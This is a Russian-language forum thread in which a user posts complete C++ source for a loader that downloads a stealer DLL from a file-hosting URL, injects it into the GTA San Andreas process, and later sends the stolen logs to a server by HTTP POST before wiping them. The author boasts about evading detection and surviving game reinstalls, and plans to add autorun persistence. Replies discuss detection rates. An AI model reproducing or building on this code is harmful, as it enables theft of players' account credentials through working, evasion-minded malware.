Исходник Информация .exe загрузчик стиллера

Vadim.dll

Известный
Автор темы
168
80
Тема создана в целях познания. Делал чисто из-за того, чтобы получить опыт.
Сделал .exe загрузчик стиллера, который следит за процессом гта са и если таковой имеется, вшивает туда стиллер.

C++:
#include <comdef.h>
#include <iostream>
#include <string>
#include <ctype.h>
#include <tchar.h>
#include <Windows.h>
#include <WinInet.h>
#include <urlmon.h>
#include <fstream>
#include <tlhelp32.h>
#include <Shlwapi.h>
#include <Psapi.h>
//Library needed by Linker to check file existance
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "WinInet.lib")
#pragma comment (lib, "urlmon.lib")

using namespace std;

DWORD GetProcId(const wchar_t* procname)
{
    PROCESSENTRY32 pe;
    HANDLE hSnap;

    pe.dwSize = sizeof(PROCESSENTRY32);
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(hSnap, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, procname) == 0) return pe.th32ProcessID;;
        } while (Process32Next(hSnap, &pe));
    }
    return (DWORD) 0;
}

bool InjectDLL(const int& pid, const string& DLL_Path)
{
    long dll_size = DLL_Path.length() + 1;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);


    if (hProc == NULL)
    {
        cerr << "[!]Fail to open target process!" << endl;
        return false;
    }
    cout << "[+]Opening Target Process..." << endl;

    LPVOID MyAlloc = VirtualAllocEx(hProc, NULL, dll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (MyAlloc == NULL)
    {
        cerr << "[!]Fail to allocate memory in Target Process." << endl;
        return false;
    }

    cout << "[+]Allocating memory in Targer Process." << endl;
    int IsWriteOK = WriteProcessMemory(hProc, MyAlloc, DLL_Path.c_str(), dll_size, 0);
    if (IsWriteOK == 0)
    {
        cerr << "[!]Fail to write in Target Process memory." << endl;
        return false;
    }
    cout << "[+]Creating Remote Thread in Target Process" << endl;

    DWORD dWord;
    LPTHREAD_START_ROUTINE addrLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary(L"kernel32"), "LoadLibraryA");
    HANDLE ThreadReturn = CreateRemoteThread(hProc, NULL, 0, addrLoadLibrary, MyAlloc, 0, &dWord);
    if (ThreadReturn == NULL)
    {
        cerr << "[!]Fail to create Remote Thread" << endl;
        return false;
    }

    if ((hProc != NULL) && (MyAlloc != NULL) && (IsWriteOK != ERROR_INVALID_HANDLE) && (ThreadReturn != NULL))
    {
        cout << "[+]DLL Successfully Injected :)" << endl;
        return true;
    }

    return false;
}

void cycle()
{
    DWORD pid = GetProcId(L"gta_sa.exe");

    while (pid == 0)
    {
        cout << "There is no gta_sa process" << endl;
        pid = GetProcId(L"gta_sa.exe");
        Sleep(1000 * 5);
    }




    char potato[MAX_PATH];
    char petuchini[MAX_PATH];

    GetTempPathA(MAX_PATH, potato);

    strcpy_s(petuchini, potato);

    strcat_s(potato, "potato.debug");

    InjectDLL(pid, potato);


    strcat_s(petuchini, "potato.dat");

    while (pid != 0)
    {
        cout << "There is gta_sa process" << endl;
        pid = GetProcId(L"gta_sa.exe");
        Sleep(1000 * 5);
    }

    ifstream file(petuchini);

    char* data = new char[1024];

    HINTERNET hInternet = InternetOpen(L"AppName", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET hSession = InternetConnect(hInternet, L"127.0.0.1", 8081, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0); // Remember to gove "POST" here

    while (!file.eof())
    {
        file.getline(data, 1024);
        HttpSendRequest(hReq, NULL, 0, data, strlen(data));
    }

    file.close();
    InternetCloseHandle(hInternet);
    InternetCloseHandle(hSession);
    InternetCloseHandle(hReq);

    ofstream file2(petuchini);
    file2 << "";
    file2.close();
}

void get_potato()
{

    WCHAR path[MAX_PATH];

    GetTempPathW(MAX_PATH, path);
    wcscat_s(path, L"potato.debug");

    URLDownloadToFile(NULL, L"http://rgho.st/download/7yhpB8Knl/217a2e74f2e1e87df9e609bf8cfc8611762c5737/217a2e74f2e1e87df9e609bf8cfc8611762c5737/potato.debug", path, 0, NULL);
}

int main()
{
    get_potato();


    while (true)
    {
        cycle();
    }
}

Палится антистиллером от даркпискеля. Плюсы здесь в том, что стиллер работает на чистой gta_sa без всяких asi_loader, sampfuncs. Еще плюс в том, что если юзер снесет гта и поставит заново, стиллер продолжит работать. Плюс отправляет логи уже после того, как юзер закрывает гта. Также модернизировал немного паблик аси стиллер, чтобы логи складировал в txt файл и удалил лишнюю шнягу. Исходники тоже могу скинуть, кому интересно. Работает на R1/R2. Для R3 оффсеты не смог извлечь из игры т.к я баран.

P.S Не мешало бы доделать, чтобы он прятался тоже где-то в temp папке и сам себя добавил в автозагрузку

P.S.S И вообще, можно ведь сделать .exe стиллер не вшивая .asi стиллер в игру, а напрямую взаимодействуя с процессом

Вопрос к знающим, если я записываю путь к temp папке в char, а не WCHAR, значит ли это, что если у юзера в пути к temp папке содержатся русские символы, то будет беда?
 
Последнее редактирование:

Pakulichev

Software Developer & System Administrator
Друг
1,789
2,130
Не сильно разбираюсь в C++, но всё-таки мне стало интересно, зачем нужно логирование через coutroflanebalo
Кстати, rghost заблокирован в России. Файл не будет загружаться.
 

Vadim.dll

Известный
Автор темы
168
80
Не сильно разбираюсь в C++, но всё-таки мне стало интересно, зачем нужно логирование через coutroflanebalo
Кстати, rghost заблокирован в России. Файл не будет загружаться.
это прототип, логирование для дебага
 

atizoff

приобретаю кашель за деньги
Проверенный
1,295
1,177
вирустотал ахуевает от этого?
 

ALF

Известный
Проверенный
320
534
Вопрос к знающим, если я записываю путь к temp папке в char, а не WCHAR, значит ли это, что если у юзера в пути к temp папке содержатся русские символы, то будет беда?
не должно
Код:
char szPath[MAX_PATH] = { 0 };
GetTempPath(sizeof(szPath), szPath);
 

Vadim.dll

Известный
Автор темы
168
80
вирус тотал будет от любого файла ахуевать... если юзеры будут лить их туда

в теме ошибка, это не exe стиллер, а лоадер.
Поправил :)

вирустотал ахуевает от этого?
На вирустотале 3 из 73 антивирусов ругаются
 
  • Нравится
Реакции: atizoff